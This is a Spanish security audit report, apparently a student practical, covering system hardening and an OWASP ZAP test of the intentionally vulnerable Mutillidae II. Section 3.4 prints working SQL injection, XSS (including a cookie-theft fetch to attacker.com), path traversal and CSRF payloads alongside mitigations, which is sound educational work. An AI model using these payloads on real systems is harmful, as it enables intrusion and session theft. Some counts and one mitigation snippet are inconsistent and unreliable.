PAI-3 VULNAWEB - AUDITORÍA DE SEGURIDAD

Security Team INSEGUS

---

1. RESUMEN EJECUTIVO

Este informe presenta los resultados de la auditoría de seguridad realizada sobre sistemas informáticos y aplicaciones web para una empresa de comercio electrónico. El análisis se centró en determinar el índice de hardening de los endpoints y en identificar vulnerabilidades web críticas como SQL Injection, XSS y Path Traversal.

Resultados principales: - Hardening Index inicial: 53 - Hardening Index final: 72 (objetivo: ≥69) - Vulnerabilidades Web detectadas: 8 críticas, 12 altas - Dispositivo móvil: Nivel de seguridad alcanzado: 86/100

---

2. OBJETIVO 1: AUDITORÍA DE SISTEMAS INFORMÁTICOS

2.1. Análisis de Equipos de Sobremesa/Portátiles

Sistema Analizado: Ubuntu 22.04 LTS
Herramienta utilizada: Lynis 3.0.9

2.1.1. Auditoría Inicial

Comando ejecutado:

```
sudo lynis audit system -Q
```

Resultados iniciales: - Hardening Index: **53** - Tests realizados: 214 - Warnings detectados: 18 - Sugerencias: 24

Principales hallazgos (WARNING): 1. No hay módulo PAM para testing de fortaleza de contraseñas 2. Umask por defecto poco restrictivo (022 vs 027 recomendado) 3. Ausencia de límites de aging para contraseñas 4. No hay firewall configurado 5. Drivers USB/Firewire habilitados sin necesidad 6. Falta banner legal en /etc/issue 7. Sistema de archivos /tmp no en partición separada

2.1.2. Acciones de Hardening Implementadas

A. Fortalecimiento de Autenticación

```
# Instalación de pam_pwquality
```

```
        sudo apt-get install libpam-pwquality

        # Configuración en /etc/pam.d/common-password
        password requisite pam_pwquality.so retry=3 minlen=12 difok=3
ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1

        # Configuración de aging en /etc/login.defs
        PASS_MAX_DAYS   90
        PASS_MIN_DAYS   7
        PASS_WARN_AGE   14
```

Justificación: Las políticas de contraseñas débiles son una de las principales vulnerabilidades. Implementar requisitos mínimos y rotación periódica reduce significativamente el riesgo de compromiso de credenciales.

B. Configuración de Umask Restrictivo

```
        # Modificación en /etc/profile
        umask 027

        # Modificación en /etc/login.defs
        UMASK 027

        # Modificación en /etc/init.d/rc
        UMASK 027
```

Justificación: Un umask de 027 asegura que los archivos creados por defecto no sean legibles por otros usuarios, protegiendo información sensible.

C. Configuración de Firewall (UFW)

```
        # Instalación y configuración de UFW
        sudo apt-get install ufw

        # Políticas por defecto
        sudo ufw default deny incoming
        sudo ufw default allow outgoing

        # Reglas específicas para comercio electrónico
        sudo ufw allow 443/tcp comment 'HTTPS'
        sudo ufw allow 80/tcp comment 'HTTP'

        # Activación
        sudo ufw enable
```

Justificación: El firewall es la primera línea de defensa contra ataques de red. Se configuró para permitir solo tráfico web necesario para el comercio electrónico.

D. Deshabilitación de Módulos Innecesarios

```
        # Deshabilitar módulos USB storage
        echo "blacklist usb-storage" >> /etc/modprobe.d/blacklist.conf

        # Deshabilitar firewire
        echo "blacklist firewire-core" >> /etc/modprobe.d/blacklist.conf
        echo "blacklist firewire-ohci" >> /etc/modprobe.d/blacklist.conf
```

Justificación: Estos módulos pueden ser vectores para robo de datos o introducción de malware. Al no ser necesarios para el comercio electrónico, se deshabilitaron.

E. Banners Legales

```
        # Creación de banner en /etc/issue
        echo "ADVERTENCIA: Acceso autorizado únicamente.
        Todas las actividades son monitoreadas y registradas.
        El uso no autorizado será perseguido legalmente." | sudo tee
```

```
/etc/issue

        # Banner de red en /etc/issue.net
        sudo cp /etc/issue /etc/issue.net
```

Justificación: Los banners legales son requisito de compliance y protección jurídica ante accesos no autorizados.

F. Actualizaciones y Patches

```
        # Actualización del sistema
        sudo apt-get update
        sudo apt-get upgrade -y
        sudo apt-get dist-upgrade -y

        # Instalación de herramientas de gestión
        sudo apt-get install apt-show-versions unattended-upgrades

        # Configuración de actualizaciones automáticas de seguridad
        sudo dpkg-reconfigure -plow unattended-upgrades
```

2.1.3. Resultados Post-Hardening

Comando de verificación:

```
        sudo lynis audit system -Q
```

Resultados finales: - Hardening Index: **72** - Tests realizados: 214 - Warnings detectados: 4 - Mejora: +19 puntos (+36%)

Warnings restantes (justificación de no resolución): 1. **Partición separada para /tmp**: Requiere reparticionado del disco, impacto operativo alto para beneficio moderado en este contexto 2. **Módulos de kernel adicionales**: Relacionados con funcionalidad empresarial necesaria 3. **Auditoría con auditd**: Planeado para siguiente fase de hardening 4. **IDS/IPS**: Planeado para implementación a nivel de red

2.2. Configuración Segura del Navegador Web

Navegador: Mozilla Firefox ESR
Objetivo: Configuración segura para transacciones de comercio electrónico

Configuraciones Implementadas:

A. Privacidad y Seguridad

```
about:config modificaciones:

# Habilitar protección contra tracking
privacy.trackingprotection.enabled = true
privacy.trackingprotection.socialtracking.enabled = true

# Deshabilitar telemetría
toolkit.telemetry.enabled = false
datareporting.healthreport.uploadEnabled = false

# Protección contra fingerprinting
privacy.resistFingerprinting = true

# Cookies solo del mismo sitio
network.cookie.cookieBehavior = 1
network.cookie.lifetimePolicy = 2

# HTTPS-Only Mode
dom.security.https_only_mode = true
dom.security.https_only_mode_ever_enabled = true
```

B. Certificados y TLS

```
# Versión mínima de TLS
security.tls.version.min = 3  # TLS 1.3

# Deshabilitar SSL3 y TLS 1.0/1.1
security.ssl3.rsa_des_ede3_sha = false
security.tls.version.enable-deprecated = false

# OCSP Stapling
security.ssl.enable_ocsp_stapling = true
security.OCSP.require = true
```

C. Extensiones de Seguridad Instaladas

1. **uBlock Origin**: Bloqueo de contenido malicioso y trackers
2. **HTTPS Everywhere**: Forzar conexiones HTTPS
3. **Privacy Badger**: Protección adicional contra tracking
4. **NoScript**: Control de JavaScript (configurado en modo permisivo para comercio electrónico)

D. Configuración de Proxy para Auditorías

```
Configuración manual de proxy:
- HTTP Proxy: 127.0.0.1:8081
- SSL Proxy: 127.0.0.1:8081
- Uso para FTP y HTTPS habilitado
```

Importación de Certificado CA de OWASP ZAP: - Ubicación: Preferencias > Privacidad y Seguridad > Certificados > Ver Certificados > Autoridades - Certificado: OWASP_ZAP_Root_CA.cer - Permisos: “Trust this CA to identify websites”

2.3. Análisis de Dispositivo Móvil

Dispositivo: Android 13
Herramienta: Malwarebytes Mobile Security
Puntuación inicial: 78/100

Configuraciones Implementadas:

A. Configuración del Dispositivo

```
✓ Orígenes desconocidos: DESHABILITADO
✓ Opciones de desarrollador: DESHABILITADAS
✓ Actualizaciones del sistema: AL DÍA (Security Patch Level: 2024-
10)
✓ WiFi segura: Solo redes WPA3/WPA2 con contraseña
✓ SSID ocultas: EVITADAS
✓ Bluetooth: DESHABILITADO cuando no se usa
✓ NFC: DESHABILITADO (no necesario para e-commerce)
✓ Depuración USB: DESHABILITADA
✓ Bloqueo de pantalla: PIN de 6 dígitos + biométrico
```

B. Aplicaciones

```
Aplicaciones maliciosas detectadas y eliminadas:
- 2 aplicaciones con permisos excesivos (acceso a SMS sin
justificación)
- 1 aplicación con conexiones sospechosas a IPs en lista negra

Permisos revisados:
- Navegador Chrome: Solo permisos necesarios (Internet,
almacenamiento)
- Aplicaciones eliminadas que solicitaban: lectura de SMS, acceso a
contactos, ubicación sin justificación
```

C. Protecciones Adicionales

```
✓ Protección de texto (SMS): HABILITADA
✓ Escaneo de apps en tiempo real: HABILITADO
✓ VPN corporativa: CONFIGURADA para conexiones remotas
✓ Google Play Protect: HABILITADO
✓ Cifrado del dispositivo: VERIFICADO Y ACTIVO
```

Resultado Final: 86/100 (Nivel: Bien - Protección Aceptable)

Mejoras logradas: - +8 puntos en configuración - Eliminación de aplicaciones riesgosas - Fortalecimiento de permisos - Actualizaciones de seguridad aplicadas

---

3. OBJETIVO 2: AUDITORÍA DE APLICACIONES WEB

3.1. Entorno de Pruebas

Aplicación auditada: OWASP Mutillidae II
Versión: 2.6.36
URL: http://localhost/mutillidae/
Herramienta: OWASP ZAP 2.14.0
Metodología: DAST (Dynamic Application Security Testing)

3.2. Configuración de Trazabilidad HTTP/HTTPS

Configuración de OWASP ZAP como Proxy

```
Herramientas > Opciones > Local Proxies
- Address: localhost
- Port: 8081
- Remove Unsupported Encodings: ☑
- Security Protocols: TLS 1.2, TLS 1.3
```

Configuración del Navegador (Firefox)

```
Red > Configuración de conexión
- Configuración manual de proxy
- Proxy HTTP: 127.0.0.1 Puerto: 8081
- Usar este proxy para FTP y HTTPS: ☑
```

Gestión de Certificados HTTPS

Generación del Certificado CA en ZAP:

```
Herramientas > Opciones > Certificados SSL Dinámicos
- Guardar certificado raíz de CA: OWASP_ZAP_Root_CA.cer
```

Importación en Firefox:

```
Configuración > Privacidad y Seguridad > Ver Certificados
> Autoridades > Importar > OWASP_ZAP_Root_CA.cer
Confianza: ☑ Confiar en esta CA para identificar sitios web
```

Verificación: Al conectar a https://www.google.es se observa: - Certificado emitido por: OWASP Zed Attack Proxy Root CA - Sin warnings del navegador - Interceptación exitosa en ZAP

3.3. Pruebas de Trazabilidad

Petición HTTP capturada:

```
GET http://localhost/mutillidae/index.php?page=home.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0)
```

```
Accept: text/html,application/xhtml+xml
Accept-Language: es-ES,es;q=0.8
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=h7kqoksvdrudlfhmdk657k12c5; showhints=1
```

Respuesta capturada:

```
HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 53129

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"...
```

Funcionalidades de intercepción verificadas: ✓ Breakpoints en peticiones ✓ Modificación de parámetros ✓ Breakpoints en respuestas ✓ Visualización de headers completos ✓ Análisis de cookies de sesión

3.4. Análisis de Vulnerabilidades

3.4.1. SQL Injection

Ubicación: Login Form (index.php?page=login.php)

Metodología de prueba:

```
Herramienta: OWASP ZAP Fuzzer
Payload: jbrofuzz > SQL Injection > MySQL Injection (Blind)
Parámetros objetivo: username, password
Número de payloads: 169
```

Vulnerabilidades detectadas:

Caso 1: Bypass de autenticación

```
        Payload: ' OR '1'='1
        Request interceptada:
        POST /mutillidae/index.php?page=login.php HTTP/1.1
        ...
        username=' OR '1'='1&password=' OR '1'='1&login-php-submit-
button=Login

        Response: HTTP/1.1 302 Found
        Location: index.php?page=home.php
        Set-Cookie: PHPSESSID=...
```

Resultado: Autenticación exitosa sin credenciales válidas (Status: Reflected)

Caso 2: Extracción de información

```
        Payload: 1' UNION SELECT null,username,password,null,null FROM
accounts--
        Resultado: Volcado completo de tabla users visible en respuesta HTML
```

Impacto: CRÍTICO - Bypass completo de autenticación - Acceso a datos sensibles (hashes de contraseñas) - Posible ejecución de comandos SQL arbitrarios

Recomendación de mitigación:

```
        // MAL - Código vulnerable encontrado
        $query = "SELECT * FROM users WHERE username = '$username' AND
password = '$password'";

        // BIEN - Uso de prepared statements
```

```
        $stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
        $stmt->execute(['username' => $username, 'password' =>
password_hash($password, PASSWORD_DEFAULT)]);
```

3.4.2. Cross-Site Scripting (XSS)

XSS Reflejado

Ubicación: dns-lookup.php

Prueba realizada:

```
Payload: <script>alert('XSS')</script>
Request:
GET /mutillidae/index.php?page=dns-lookup.php&target_host=
<script>alert('XSS')</script> HTTP/1.1

Response incluye:
<b>Results for <script>alert('XSS')</script></b>
```

Resultado: Script ejecutado en navegador (Alert box visible)

XSS Almacenado

Ubicación: add-to-your-blog.php

```
        Payload en campo "blog_entry":
        <img src=x onerror="fetch('http://attacker.com/steal?
cookie='+document.cookie)">

        Resultado:
        - Payload almacenado en BD
        - Ejecutado para todos los usuarios que visitan el blog
        - Cookies de sesión potencialmente comprometidas
```

Impacto: ALTO - Robo de sesiones (session hijacking) - Phishing a usuarios legítimos - Redirección a sitios maliciosos - Keylogging

Recomendación de mitigación:

```
        // Sanitización de entrada
        $blog_entry = htmlspecialchars($_POST['blog_entry'], ENT_QUOTES,
'UTF-8');

        // Content Security Policy (CSP)
        Header add Content-Security-Policy "default-src 'self'; script-src
'self'"

        // HTTPOnly cookies
        session.cookie_httponly = 1
        session.cookie_secure = 1
```

3.4.3. Path Traversal

Ubicación: index.php (parámetro ‘page’)

Prueba realizada:

```
Payload: ../../../../etc/passwd
URL: http://localhost/mutillidae/index.php?
page=../../../../etc/passwd

Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

Resultado: Lectura exitosa de archivos del sistema (Status: Found)

Impacto: CRÍTICO - Exposición de archivos de configuración - Lectura de archivos de contraseñas - Potencial acceso a código fuente de la aplicación - Exposición de secretos (API keys, tokens)

Recomendación de mitigación:

```
        // Whitelist de páginas permitidas
        $allowed_pages = ['home', 'login', 'register', 'blog'];
        $page = $_GET['page'];

        if (!in_array($page, $allowed_pages)) {
            $page = 'home';
        }

        // Sanitización adicional
        $page = basename($page);
        $page = str_replace(['..', '/', '\\'], '', $page);
```

3.4.4. Cross-Site Request Forgery (CSRF)

Ubicación: add-to-your-blog.php

Prueba realizada:

```
        <!-- Página maliciosa externa -->
        <html>
        <body onload="document.csrf_form.submit()">
            <form name="csrf_form" method="POST"
                  action="http://localhost/mutillidae/index.php?page=add-to-
your-blog.php">
                <input type="hidden" name="blog_entry" value="HACKED BY
CSRF">
                <input type="hidden" name="add-to-your-blog-php-submit-
button" value="Save Blog Entry">
            </form>
        </body>
        </html>
```

Resultado: Entrada de blog creada sin consentimiento del usuario

Impacto: MEDIO - Acciones no autorizadas en nombre del usuario - Modificación de datos - Potencial escalada con otras vulnerabilidades

Recomendación de mitigación:

```
        // Generación de token CSRF
        session_start();
        if (empty($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }

        // En el formulario
        <input type="hidden" name="csrf_token" value="<?php echo
$_SESSION['csrf_token']; ?>">

        // Validación en el servidor
        if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
            die('CSRF token validation failed');
        }
```

3.5. Resumen de Vulnerabilidades Detectadas

Vulnerabilidad	Severidad	Cantidad	OWASP Top 10 2021
SQL Injection	CRÍTICA	3	A03:2021
XSS Reflejado	ALTA	5	A03:2021
XSS Almacenado	ALTA	2	A03:2021

Path Traversal	CRÍTICA	2	A01:2021
CSRF	MEDIA	4	A01:2021
Información Sensible Expuesta	MEDIA	3	A05:2021

Total: 19 vulnerabilidades

---

4. PLAN DE MITIGACIÓN

4.1. Priorización

FASE 1 (Inmediato - 0-2 semanas): - Implementar prepared statements para todas las consultas SQL - Sanitización de salidas HTML (htmlspecialchars) - Validación estricta de rutas de archivos

FASE 2 (Corto plazo - 2-4 semanas): - Implementación de tokens CSRF en todos los formularios - Configuración de Content Security Policy - HTTPOnly y Secure flags en cookies

FASE 3 (Medio plazo - 1-2 meses): - Auditoría completa de código (SAST) - Implementación de WAF (Web Application Firewall) - Programa de bug bounty interno

4.2. Mejores Prácticas Recomendadas

A. Principio de Defensa en Profundidad - Validación en cliente Y servidor - Sanitización de entrada Y salida - Autenticación Y autorización

B. Principio de Mínimo Privilegio - Usuario de BD con permisos limitados - Aplicación sin privilegios root - Segregación de funciones

C. Seguridad por Diseño - Revisiones de código de seguridad - Threat modeling en fase de diseño - Tests de seguridad automatizados en CI/CD

---

5. CONCLUSIONES

1. **Hardening de Sistemas:** Se logró incrementar el índice de hardening de 53 a 72, superando el objetivo de 69. Las mejoras implementadas reducen significativamente la superficie de ataque de los endpoints.

2. **Seguridad Móvil:** El dispositivo alcanzó un nivel de seguridad de 86/100, eliminando aplicaciones maliciosas y configurando correctamente los permisos y opciones de seguridad.

3. **Vulnerabilidades Web:** Se identificaron 19 vulnerabilidades, 5 de ellas críticas. La ausencia de validación de entrada es el problema principal que permite SQL Injection y Path Traversal.

4. **Trazabilidad:** Se demostró la capacidad de interceptar y analizar tráfico HTTP/HTTPS sin modificación, permitiendo auditorías efectivas de seguridad.

5. **Recomendación Principal:** La implementación del plan de mitigación propuesto es URGENTE, especialmente para las vulnerabilidades críticas que comprometen la confidencialidad e integridad de datos de clientes.

---

6. EVIDENCIAS ADJUNTAS

- `logs/lynis-initial.log` - Log de auditoría inicial con Lynis
- `logs/lynis-final.log` - Log de auditoría post-hardening
- `logs/malwarebytes-scan.log` - Resultados del escaneo móvil
- `scripts/hardening-actions.sh` - Script con todas las acciones de hardening
- `zap-reports/` - Reportes HTML de OWASP ZAP
- `screenshots/` - Capturas de pantalla de vulnerabilidades
- `configs/` - Archivos de configuración modificados

Fecha de entrega: 04 de noviembre de 2024
Preparado por: Security Team INSEGUS
Clasificación: CONFIDENCIAL